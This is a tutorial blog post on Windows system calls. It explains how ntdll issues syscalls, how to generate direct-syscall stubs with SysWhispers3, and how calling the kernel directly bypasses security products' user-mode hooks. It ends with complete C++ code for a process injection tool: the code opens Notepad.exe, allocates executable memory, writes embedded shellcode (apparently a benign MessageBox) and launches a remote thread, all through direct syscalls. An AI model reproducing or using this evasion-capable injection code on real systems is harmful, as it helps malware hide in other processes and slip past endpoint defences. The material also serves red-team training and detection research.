A system call is a way to request a service from the kernel. Usage of system calls is abstracted from user land applications.
For instance;
- When opening a file a program might call fopen
- fopen calls CreateFileA in kernel32.dll which is mapped into the processes address space
- Kernel32.dll in turn calls NtCreateFile which resides in ntdll.dll
- NtCreateFile will then execute system call 0x55 (in Windows 10)
The below diagram also illustrates how this abstraction works.
A list of system calls by operating system is available here. Note, that ntdll.dll isn’t part of the Win32 API, and therefore isn’t documented by Microsoft.
On 32-bit systems, to execute a system call the assembly instruction int 2Eh is used to transition to kernel mode. On 64-bit systems, the syscall instruction is used.
We can see how system calls are executed by using WinDBG to disassemble ntdll functions.
0:017> u ntdll!NtAllocateVirtualMemory
ntdll!NtAllocateVirtualMemory:
00007ffa`c476f0f0 4c8bd1 mov r10,rcx
00007ffa`c476f0f3 b818000000 mov eax,18h
00007ffa`c476f0f8 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`c476f100 7503 jne ntdll!NtAllocateVirtualMemory+0x15 (00007ffa`c476f105)
00007ffa`c476f102 0f05 syscall
00007ffa`c476f104 c3 ret
00007ffa`c476f105 cd2e int 2Eh
00007ffa`c476f107 c3 ret
0:017> u ntdll!NtWriteVirtualMemory
ntdll!NtWriteVirtualMemory:
00007ffa`c476f530 4c8bd1 mov r10,rcx
00007ffa`c476f533 b83a000000 mov eax,3Ah
00007ffa`c476f538 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`c476f540 7503 jne ntdll!NtWriteVirtualMemory+0x15 (00007ffa`c476f545)
00007ffa`c476f542 0f05 syscall
00007ffa`c476f544 c3 ret
00007ffa`c476f545 cd2e int 2Eh
00007ffa`c476f547 c3 ret
Based on the output, on this version of Windows 11 the system call for NtAllocateVirtualMemory is 0x18, and 0x3A for NtWriteVirtualMemory.
Security products often implement user mode hooking to intercept function calls to determine if the application has malicious intent. Executing a system call directly is a way to bypass these hooks.
System calls are not intended to be called directly from user land applications, and the numbers which identify each call are subject to change in newer versions of Windows.
SysWhispers3 is a tool that allows you to determine the system call numbers at runtime, rather than hard-coding the numbers for each version of Windows manually.
Using SysWhispers
Generate Syswhispers Files
Download SysWhispers3 from here and execute the following command.
python syswhispers.py --preset all -o syscalls_all --arch x64
Running this will produce three files, syscalls_all.c, syscalls_all.h and syscalls_all_-asm.x64.asm.
Enable MASM
Create an empty C++ Visual Studio project. First, we need to enable the Microsoft Macro Assembly (MASM) to include assembly code.
To enable MASM, right click the project. Select Build Dependencies -> Build Customization.
Import SysWhispers Files
Next, copy the files Syswhispers produced to the project folder, and add them into the respective solution folders.
Writing a Process Injection Tool using Syscalls
A process injection tool typically requires calling the following functions;
- OpenProcess
- VirtualAllocEx
- WriteProcessMemory
- CreateRemoteThread
Using the equivalent ntdll functions names will execute the assembly code stored in syscalls_all-asm64.asm.
Below are the method signatures taken from http://undocumented.ntinternals.net
NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId );
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten OPTIONAL );
NtCreateThreadEx(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN LPVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPTHREAD_START_ROUTINE lpStartAddress,
IN LPVOID lpParameter,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN ULONG SizeOfStackCommit,
IN ULONG SizeOfStackReserve,
OUT LPVOID lpBytesBuffer);
NtClose(
IN HANDLE ObjectHandle );
Syscall Process Injection Code
The following C++ code uses direct system calls to perform process injection, rather than relying on functions exposed by Kernel32.dll by taking advantage of the SysWhispers3 functions.
#include <Windows.h>
#include "syscalls_all.h"
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <tlhelp32.h>
int findProcess(const char* procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
pe.dwSize = sizeof(PROCESSENTRY32);
hResult = Process32First(hSnapshot, &pe);
while (hResult) {
// Convert wide string pe.szExeFile to narrow string for comparison
char narrowName[MAX_PATH];
WideCharToMultiByte(CP_ACP, 0, pe.szExeFile, -1, narrowName, MAX_PATH, NULL, NULL);
// Case-insensitive string comparison
if (_stricmp(procname, narrowName) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
return pid;
}
int main(int argc, char* argv[])
{
const char* target = "Notepad.exe"; // Case sensitive
DWORD pid = findProcess(target);
printf("Injecting into process %s PID: %d", target, pid);
unsigned char shellcode[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x62\x6f\x72\x64\x65\x72\x67\x61\x74\x65\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00";
SIZE_T shellcodeSize = sizeof(shellcode);
HANDLE processHandle;
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
CLIENT_ID clientId = { (HANDLE)pid, NULL };
Sw3NtOpenProcess(&processHandle, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);
LPVOID baseAddress = NULL;
Sw3NtAllocateVirtualMemory(processHandle, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Sw3NtWriteVirtualMemory(processHandle, baseAddress, &shellcode, sizeof(shellcode), NULL);
HANDLE threadHandle;
Sw3NtCreateThreadEx(&threadHandle, GENERIC_EXECUTE, NULL, processHandle, baseAddress, NULL, FALSE, 0, 0, 0, NULL);
Sw3NtClose(processHandle);
return 0;
}